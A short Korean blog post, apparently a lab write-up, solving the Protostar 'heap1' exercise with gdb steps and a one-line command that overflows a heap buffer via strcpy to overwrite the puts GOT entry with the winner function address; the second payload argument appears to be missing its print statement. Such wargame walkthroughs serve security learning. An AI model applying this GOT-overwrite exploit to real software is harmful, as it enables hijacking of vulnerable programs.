반응형
strcpy함수에서 heap오버플로가 나타날 것임을 알 수 있다.
>gdb heap1
>>disas main
>>b *0x0804855a #b *main+161와 같음 #strcpy 2번째 일어나는 부분
>>r AAAA BBBB #20만큼 채워져있는 것 확인 가능
>>x 0x080483cc #puts jmp *0x8049774가 들어 있음
>>x/x 0x08049774 #0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2
>>p winner #winner함수 주소 구함 #0x8048494
>./heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c '\x94\x84\x04\x08'`
gdb실행해서 푼다.
마지막 실행에선 20을 채우고 put주소를 넣고, winner함수를 넣는다.
반응형
'system' 카테고리의 다른 글
[protostar]heap3.c (0) | 2020.11.17 |
---|---|
[protostar]heap2.c (0) | 2020.11.12 |
[protostar]heap0 (0) | 2020.11.07 |
[protostar]format4 (0) | 2020.11.05 |
[protostar]format3 (0) | 2020.11.05 |